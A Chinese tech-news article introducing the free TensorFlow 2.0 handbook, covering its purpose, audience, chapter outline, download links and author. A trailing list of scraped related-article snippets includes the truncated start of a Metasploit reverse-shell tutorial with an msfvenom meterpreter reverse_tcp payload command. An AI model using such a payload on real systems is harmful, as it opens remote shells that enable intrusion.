简单粗暴上手TensorFlow 2.0,北大学霸力作,必须人手一册!
(图片付费下载自视觉中国)
整理 | 夕颜
出品 | AI科技大本营(ID:rgznai100)
【导读】 TensorFlow 2.0 于近期正式发布后,立即受到学术界与科研界的广泛关注与好评。此前,AI 科技大本营曾特邀专家回顾了 TensorFlow 2.0 从初版到最新版本的发展史。今天,我们将介绍一本全面详解 TensorFlow 2.0 的手册。这本手册是 Google Summer of Code 2019 项目之一,从基础安装与环境配置、部署,到大规模训练与加速、扩展,全方位讲解 TensorFlow 2.0 的入门要点,并附录相关资料供读者参考。
这是一本简明的 TensorFlow 2.0 入门指导手册,基于 Keras 和 Eager Execution(即时运行)模式,力图让具备一定机器学习及 Python 基础的开发者们快速上手 TensorFlow 2.0。
本手册的所有代码基于 TensorFlow 2.0 正式版及 beta1 版本。
中文指南:https://tf.wiki/
GitHub链接:https://github.com/snowkylin/tensorflow-handbook
文中的所有示例代码:https://github.com/snowkylin/tensorflow-handbook/tree/master/source/_static/code/zh
本手册所有章节如下图,不仅包含 TensorFlow 的概述,还含有基础、部署、大规模训练与加速、扩展,以及附录部分。
前言
此前,TensorFlow 所基于的传统 Graph Execution 的弊端,如入门门槛高、调试困难、灵活性差、无法使用 Python 原生控制语句等早已被开发者诟病许久。一些新的基于动态图机制的深度学习框架(如 PyTorch)也横空出世,并以其易用性和快速开发的特性而占据了一席之地。尤其是在学术研究等需要快速迭代模型的领域,PyTorch 等新兴深度学习框架已经成为主流。作者所在的数十人的机器学习实验室中,竟只有其一人 “守旧” 地使用 TensorFlow。
然而,直到目前,市面上相关的 TensorFlow 相关的中文技术书籍及资料仍然基于传统的 Graph Execution 模式,让不少初学者(尤其是刚学过机器学习课程的大学生)望而却步。由此,在 TensorFlow 正式支持 Eager Execution 之际,有必要出现一本全新的技术手册,帮助初学者及需要快速迭代模型的研究者,以一个全新的角度快速入门 TensorFlow。
同时,本手册还有第二个任务。市面上与 TensorFlow 相关的中文技术书籍大都以深度学习为主线,将 TensorFlow 作为这些深度学习模型的实现方式。这样固然有体系完整的优点,然而对于已经对机器学习或深度学习理论有所了解,希望侧重于学习 TensorFlow 本身的读者而言,就显得不够友好。
于是,作者希望编写一本手册,以尽量精简的篇幅展示 TensorFlow 作为一个计算框架的主要特性,并弥补官方手册的不足,力图能让已经有一定机器学习 / 深度学习知识及编程能力的读者迅速上手 TensorFlow,并在实际编程过程中可以随时查阅并解决实际问题。
适用群体
本书适用于以下读者:
已有一定机器学习 / 深度学习基础,希望将所学理论知识使用 TensorFlow 进行具体实现的学生和研究者;
曾使用或正在使用 TensorFlow 1.X 版本或其他深度学习框架(比如 PyTorch),希望了解 TensorFlow 2.0 新特性的开发者;
希望将已有的 TensorFlow 模型应用于业界的开发者或工程师。
提示
本书不是一本机器学习 / 深度学习原理入门手册。若希望进行机器学习 / 深度学习理论的入门学习,可参考附录中提供的一些入门资料。
TensorFlow 概述
学生和研究者:模型的建立与训练
开发者和工程师:模型的调用与部署
TensorFlow 能帮助我们做什么?
基础
TensorFlow 安装与环境配置
TensorFlow 的最新安装步骤可参考官方网站上的说明(https://tensorflow.google.cn/install)。TensorFlow 支持 Python、Java、Go、C 等多种编程语言以及 Windows、OSX、Linux 等多种操作系统,此处及后文均以 Python 3.7 为准。
提示
本章介绍在一般的个人电脑或服务器上直接安装 TensorFlow 2.0 的方法。关于在容器环境(Docker)、云平台中部署 TensorFlow 或在线上环境中使用 TensorFlow 的方法,见附录 使用 Docker 部署 TensorFlow 环境和在云端使用 TensorFlow 。软件的安装方法往往具有时效性,本节的更新日期为 2019 年 10 月。
一般安装步骤
GPU 版本 TensorFlow 安装指南
GPU 硬件的准备
NVIDIA 驱动程序的安装
CUDA Toolkit 和 cnDNN 的安装
第一个程序
IDE 设置
TensorFlow 所需的硬件配置 *
TensorFlow 基础
本章介绍 TensorFlow 的基本操作。
TensorFlow 1+1
自动求导机制
基础示例:线性回归
NumPy 下的线性回归
TensorFlow 下的线性回归
TensorFlow 模型建立与训练
本章介绍如何使用 TensorFlow 快速搭建动态模型。
模型(Model)与层(Layer)
基础示例:多层感知机(MLP)
数据获取及预处理:tf.keras.datasets
模型的构建:tf.keras.Model 和 tf.keras.layers
模型的训练:tf.keras.losses 和 tf.keras.optimizer
模型的评估:tf.keras.metrics
卷积神经网络(CNN)
使用 Keras 实现卷积神经网络
使用 Keras 中预定义的经典卷积神经网络结构
循环神经网络(RNN)
深度强化学习(DRL)
Keras Pipeline *
Keras Sequential/Functional API 模式建立模型
使用 Keras Model 的 compile 、 fit 和 evaluate 方法训练和评估模型
自定义层、损失函数和评估指标 *
自定义层
自定义损失函数和评估指标
TensorFlow 常用模块
tf.train.Checkpoint :变量的保存与恢复
TensorBoard:训练过程可视化
tf.data :数据集的构建与预处理
数据集对象的建立
数据集对象的预处理
数据集元素的获取与使用
实例:cats_vs_dogs 图像分类
@tf.function :Graph Execution 模式 *
@tf.function 基础使用方法
@tf.function 内在机制
AutoGraph:将 Python 控制流转换为 TensorFlow 计算图
使用传统的 tf.Session
tf.TensorArray :TensorFlow 动态数组 *
tf.config:GPU 的使用与分配 *
指定当前程序使用的 GPU
设置显存使用策略
单 GPU 模拟多 GPU 环境
部署
TensorFlow 模型导出
使用 SavedModel 完整导出模型
Keras Sequential save 方法(Jinpeng)
TensorFlow Serving
TensorFlow Serving 安装
TensorFlow Serving 模型部署
Keras Sequential 模式模型的部署
自定义 Keras 模型的部署
在客户端调用以 TensorFlow Serving 部署的模型
Python 客户端示例
Node.js 客户端示例(Ziyang)
TensorFlow Lite(Jinpeng)
模型转换
Android 部署
Quantization 模型转换
总结
TensorFlow in JavaScript(Huan)
TensorFlow.js 简介
浏览器中使用 TensorFlow.js 的优势
TensorFlow.js 性能对比
TensorFlow.js 环境配置
在浏览器中使用 TensorFlow.js
在 Node.js 中使用 TensorFlow.js
在微信小程序中使用 TensorFlow.js
TensorFlow.js 模型部署
通过 TensorFlow.js 加载 Python 模型
使用 TensorFlow.js 模型库
TensorFlow.js 模型训练 *
大规模训练与加速
TensorFlow 分布式训练
当我们拥有大量计算资源时,通过使用合适的分布式策略,可以充分利用这些计算资源,从而大幅压缩模型训练的时间。针对不同的使用场景,TensorFlow 在 tf.distribute.Strategy 中为我们提供了若干种分布式策略,从而能够更高效地训练模型。
单机多卡训练:MirroredStrategy
多机训练:MultiWorkerMirroredStrategy
使用 TPU 训练 TensorFlow 模型(Huan)
2017 年 5 月,Alpha Go 在中国乌镇围棋峰会上,与世界第一棋士柯洁比试,并取得了三比零全胜战绩。之后的版本 Alpha Zero 可以通过自我学习 21 天即可以达到胜过中国顶尖棋手柯洁的 Alpha Go Master 的水平。
Alpha Go 背后的动力全部由 TPU 提供,TPU 使其能够更快地 “思考” 并在每一步之间看得更远。
TPU 简介
什么是 TPU
为什么使用 TPU
TPU 性能
TPU 环境配置
免费 TPU:Google Colab
Cloud TPU
TPU 基础使用
扩展
TensorFlow Hub 模型复用(Jinpeng)
TensorFlow Datasets 数据集载入
Swift for TensorFlow (S4TF) (Huan)
S4TF 简介
为什么要使用 Swift 进行 Tensorflow 开发
S4TF 环境配置
本地安装 Swift for Tensorflow
在 Colaboratory 中快速体验 Swift for Tensorflow
在 Docker 中快速体验 Swift for TensorFlow
S4TF 基础使用
在 Swift 中使用标准的 TensorFlow API
在 Swift 中直接加载 Python 语言库
语言原生支持自动微分
MNIST 数字分类
TensorFlow in Julia(Ziyang)
TensorFlow.jl 简介
为什么要使用 Julia ?
TensorFlow.jl 环境配置
在 docker 中快速体验 TensorFlow.jl
在 julia 包管理器中安装 TensorFlow.jl
TensorFlow.jl 基础使用
MNIST 数字分类
附录
图模型下的 TensorFlow
TensorFlow 1+1
基础示例:线性回归
使用 Docker 部署 TensorFlow 环境
在云端使用 TensorFlow
在 Colab 中使用 TensorFlow
在 Google Cloud Platform(GCP)中使用 TensorFlow
在 Compute Engine 建立带 GPU 的实例并部署 TensorFlow
使用 AI Platform 中的 Notebook 建立带 GPU 的在线 JupyterLab 环境
在阿里云上使用 GPU 实例运行 Tensorflow(Ziyang)
部署自己的交互式 Python 开发环境 JupyterLab
TensorFlow 性能优化
参考资料与推荐阅读
术语中英对照表
答疑区
(中文)TensorFlow 中文社区 “简单粗暴 TensorFlow” 版面:https://www.tensorflowers.cn/b/48 (中文的疑问和建议请来此处,将以中文回答和讨论。欢迎使用中文的开发者们前来 TensorFlow 中文社区交流讨论)
(英文)https://github.com/snowkylin/tensorflow-handbook/releases (英文的疑问或建议可在 GitHub issue 中提出,会以英文回答)
PDF 下载(旧版):
中文版:https://www.tensorflowers.cn/t/6230 (同时也有英文版下载)
英文版:https://github.com/snowkylin/tensorflow-handbook/releases
搜索页面:https://tf.wiki/search.html
作者乃北大学霸
最后,我们有必要介绍一下《简单粗暴TensorFlow 2.0》的作者李锡涵。
(图片来源:领英)
据领英资料显示,李锡涵是来自北大信息科学技术学院的准理科硕士生,担任见习顾问和研究助理,2016年本科毕业于浙大竺可桢学院,并在 2015 年以交换生的身份进入交通大学。
李锡涵曾在微软亚研院机器学习组实习,在谷歌还是机器学习方面的GDE(Google Developers Expert),目前的研究重点是基于图的现实场景中多主体强化学习的应用。
(*本文为 AI科技大本营整理文章,转载请微信联系 1092722531)
精彩推荐
早鸟票倒计时最后1天,扫码购票立减2600元!
2019 中国大数据技术大会(BDTC)再度来袭!豪华主席阵容及百位技术专家齐聚,15 场精选专题技术和行业论坛,超强干货+技术剖析+行业实践立体解读,深入解析热门技术在行业中的实践落地。
相关文章:

常见运维漏洞-Rsync-Redis
转载于:https://blog.51cto.com/10945453/2394651

zabbix笔记
(1)转载于:https://blog.51cto.com/zlong37/1406441

C++/C++11中头文件algorithm的使用
<algorithm>是C标准程序库中的一个头文件,定义了C STL标准中的基础性的算法(均为函数模板)。<algorithm>定义了设计用于元素范围的函数集合。任何对象序列的范围可以通过迭代器或指针访问。 std::adjacent_find:在序列中查找第一对相邻且值…

js filter 用法
filter filter函数可以看成是一个过滤函数,返回符合条件的元素的数组 filter需要在循环的时候判断一下是true还是false,是true才会返回这个元素; filter()接收的回调函数,其实可以有多个参数。通常我们仅使用第一个参数ÿ…

每30秒学会一个Python小技巧,GitHub星数4600+
(图片付费下载自视觉中国)作者 | xiaoyu,数据爱好者来源 | Python数据科学(ID:PyDataScience)很多学习Python的朋友在项目实战中会遇到不少功能实现上的问题,有些问题并不是很难的问题,或者已经…

Nginx自定义模块编写:根据post参数路由到不同服务器
Nginx可以轻松实现根据不同的url 或者 get参数来转发到不同的服务器,然而当我们需要根据http包体来进行请求路由时,Nginx默认的配置规则就捉襟见肘了,但是没关系,Nginx提供了强大的自定义模块功能,我们只要进行需要的扩…
深度学习中的贝叶斯统计简介
贝叶斯用概率反映知识状态的确定性程度。数据集能够被直接观测到,因此不是随机的。另一方面,真实参数θ是未知或不确定的,因此可以表示成随机变量。在观察到数据前,我们将θ的已知知识表示成先验概率分布(prior probability distr…

少走弯路:强烈推荐的TensorFlow快速入门资料(可下载)
(图片付费下载自视觉中国)作者 | 黄海广来源 | 机器学习初学者(ID: ai-start-com)知识更新非常快,需要一直学习才能跟上时代进步,举个例子:吴恩达老师在深度学习课上讲的TensorFlow使用…

有状态bean与无状态bean
在学习bean的作用域的时候,了解了这个问题。 bean5种作用域:分别是:singleton、prototype、request、session、gloabal session 接下来就讲一下有状态bean与无状态bean: 有状态会话bean :每个用户有自己特有的一个实例…

从Developer Removed From Sale 回到可下载状态的方法
2019独角兽企业重金招聘Python工程师标准>>> 如果你不小心点了”Remove“ 按钮,App的状态会变成"Developer Removed From Sale ",这时,即使更新应用也无法改变这个状态。想要让App恢复可下载状态,你需要尝试…
朴素贝叶斯分类器简介及C++实现(性别分类)
贝叶斯分类器是一种基于贝叶斯定理的简单概率分类器。在机器学习中,朴素贝叶斯分类器是一系列以假设特征之间强(朴素)独立下运用贝叶斯定理为基础的简单概率分类器。朴素贝叶斯是文本分类的一种热门(基准)方法,文本分类是以词频为特征判断文件所属类别或…

你当年没玩好的《愤怒的小鸟》,AI现在也犯难了
(图片源自百度百科)作者 | Ekaterina Nikonova,Jakub Gemrot译者 | Tianyu出品 | AI科技大本营(ID:rgznai100)现在说起《愤怒的小鸟》游戏,要把人的回忆一下拉扯到差不多十年前了。它是一款当时一经推出就广…

msf反弹shell
今天回顾了一下msf反弹shell的操作,在这里做一下记录和分享。( ̄︶ ̄)↗ 反弹shell的两种方法 第一种Msfvenom实例: 1、msfconsole #启动msf 2、msfvenom -p php/meterpreter/reverse_tcp LHOST<Your IP Address> LPOR…

mysql 5.5半同步复制功能部署
安装、配置Semi-sync Replication在两台主机上安装好MySQL5.5,编译好的插件在目录CMAKE_INSTALL_PREFIX/lib/plugin下(默认是/usr/local/mysql/lib/plugin)。例如这里编译是指定CMAKE_INSTALL_PREFIX为/home/mysql/mysql,则有&…
Windows7/10上配置OpenCV3.3.0-Python3.6.2操作步骤
目前OpenCV无论是2.4.x还是最新的3.3.0版本,默认支持的都是Python 2.7版本。这里介绍下如何使OpenCV 3.3.0支持Python 3.6.2的操作步骤:1. 从 https://github.com/opencv/opencv/releases/tag/3.3.0 下载3.3.0.zip或opencv-3.3.0-vc14.exe,…

manage.py命令
一、manage.py命令选 manage.py是每个Django项目中自动生成的一个用于管理项目的脚本文件,需要通过python命令执行。manage.py接受的是Django提供的内置命令。 内置命令包含 checkdbshelldiffsettingsflushmakemigrationsmigraterunservershellstartappstartproject…

图灵奖得主Bengio再次警示:可解释因果关系是深度学习发展的当务之急
(图片付费下载自视觉中国)作者 | Will Knight译者 | Monanfei来源 | Wired出品 | AI科技大本营(ID:rgznai100)深度学习擅长在大量数据中寻找模式,但无法解释它们之间的关系。图灵奖获得者 Yoshua Bengio 希望改变这一状…

解决jQuery不同版同时引用的冲突
今天研发的同事在开发一个新jQuery插件时,遇到一个揪心的问题。平台以前使用的 jQuery版本是1.2.6,偶,天啊!这是古代的版本啊! 由于很多功能基于老版本,不能删除啊,同志们都懂的! 于…

TensorFlow中的计算图
作者 | stephenDC来源 | 大数据与人工智能(ID:ai-big-data)1 什么是计算图?一个机器学习任务的核心是模型的定义以及模型的参数求解方式,对这两者进行抽象之后,可以确定一个唯一的计算逻辑,将这个逻辑用图表…

java设计模式-适配器模式
模式导读: 每个人都有自己不同的需要,每个人都有自己能够接受的不同方式,就像是为满足现在快速度发展的社会,几乎人人离不开手机的时代,我们也许会碰到在外出行手机电量不足的情况,这个时候如果你在车站,你…
Ubuntu 14.04 64位上安装Valgrind 3.13.0 操作步骤
关于Valgrind的介绍和使用可以参考: http://blog.csdn.net/fengbingchun/article/details/50196189 在Ubuntu 14.04上可以通过以下命令直接安装Valgrind,直接通过命令安装的版本是3.10.1,如下图,有些较老,目前最新版本…

粗谈Android中的对齐
在谈这个之前先啰嗦几个概念。 基线:书写英语单词时为了规范书写会设有四条线,从上至下第三条就是基线。基线对齐主要是为了两个控件中显示的英文单词的基线对齐,如下所示: Start:在看API的时候经常会有Start对齐&…
OpenCV3.3中逻辑回归(Logistic Regression)使用举例
OpenCV3.3中给出了逻辑回归(logistic regression)的实现,即cv::ml::LogisticRegression类,类的声明在include/opencv2/ml.hpp文件中,实现在modules/ml/src/lr.cpp文件中,它既支持两分类,也支持多分类,其中:…

多数编程语言里的0.1+0.2≠0.3?
作者 | Parul Malhotra译者 | Raku出品 | AI科技大本营(ID:rgznai100)我们从小就被教导说0.10.20.3,但是在奇妙的计算机编程世界里面,事情变得不一样了。我最近在用JavaScript编程,正在阅读数据类型的时候,…

iOSSharing #9 | 2019-05-19
目录 1. setNeedsLayout、layoutIfNeeded与layoutSubviews区别? 2. UIView与CALayer的区别? 3. loadView什么时候被调用?它有什么作用?默认实现是怎么样的? 4. UIViewController的完整生命周期? 5. UIView动…

分表处理(三)
一、概述分表是个目前算是比较炒的比较流行的概念,特别是在大负载的情况下,分表是一个良好分散数据库压力的好方法。首先要了解为什么要分表,分表的好处是什么。我们先来大概了解以下一个数据库执行SQL的过程:接收到SQL –> 放…
逻辑回归(Logistic Regression)简介及C++实现
逻辑回归(Logistic Regression):该模型用于分类而非回归,可以使用logistic sigmoid函数( 可参考:http://blog.csdn.net/fengbingchun/article/details/73848734 )将线性函数的输出压缩进区间(0,1): p(y1| x;θ)σ(θTx).逻辑回归是…

CVPR 2019论文阅读:Libra R-CNN如何解决不平衡对检测性能的影响?
作者 | 路一直都在出品 | AI科技大本营(ID:rgznai100)Paper link:https://arxiv.org/pdf/1904.02701.pdfCode link:https://github.com/OceanPang/Libra_R-CNNAbstract在目标检测中,人们更关注的往往是模型结构&#x…

实现nginx上配置免费证书Let's Encrypt
Lets Encrypt 的免费证书有效期为三个月,不过可以免费续期,写一个脚本定期更新即可。 准备一台nginx 服务器 ,将以下三个附件上传到你的nginx服务器。 1、下载脚本文件,wget https://raw.githubusercontent.com/xdtianyu/scripts/…

深入解析Windows操作系统笔记——CH1概念和术语
1.概念和工具 本章主要介绍Windows操作系统的关键概念和术语 1.概念和工具... 1 1.1操作系统版本... 1 1.2基础概念和术语... 2 1.2.1Windows API2 1.2.2 服务、函数和例程... 3 1.2.3 进程、线程和作业... 4 1.2.3.1 进程... 4 1.2.3.2 线程... 4 1.2.3.3 虚拟地址描述符... 4…